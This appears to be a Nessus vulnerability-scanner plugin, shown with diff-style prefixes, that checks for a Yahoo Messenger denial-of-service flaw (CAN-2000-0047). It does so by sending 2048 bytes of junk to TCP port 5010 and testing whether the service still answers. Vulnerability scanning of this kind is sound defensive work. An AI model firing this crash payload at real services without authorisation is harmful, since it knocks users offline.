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- #
- # This script was written by Noam Rathaus <noamr@securiteam.com>
- #
- # See the Nessus Scripts License for details
- #
- #
- if(description)
- {
- script_id(10326);
- script_version ("$Revision: 1.12 $");
- script_cve_id("CAN-2000-0047");
-
- name["english"] = "Yahoo Messenger Denial of Service attack";
- script_name(english:name["english"]);
-
- desc["english"] = "
- It is possible to cause Yahoo Messenger to crash by sending a few bytes
- of garbage into its listening port TCP 5010.
-
- Solution: Block those ports from outside communication
-
- Risk factor : Low";
-
- script_description(english:desc["english"]);
-
- summary["english"] = "Yahoo Messenger Denial of Service attack";
- script_summary(english:summary["english"]);
-
- script_category(ACT_DENIAL);
-
- script_copyright(english:"This script is Copyright (C) 1999 SecuriTeam");
- family["english"] = "Denial of Service";
- family["francais"] = "DΘni de service";
- script_family(english:family["english"], francais:family["francais"]);
- script_require_ports(5010);
-
- exit(0);
- }
-
- #
- # The script code starts here
- #
-
- if (get_port_state(5010))
- {
- sock5010 = open_sock_tcp(5010);
- if (sock5010)
- {
- send(socket:sock5010, data:crap(2048));
- close(sock5010);
-
- sock5010_sec = open_sock_tcp(5010);
- if ( !sock5010_sec )
- {
- security_hole(5010);
- }
- else close(sock5010_sec);
- }
- }
-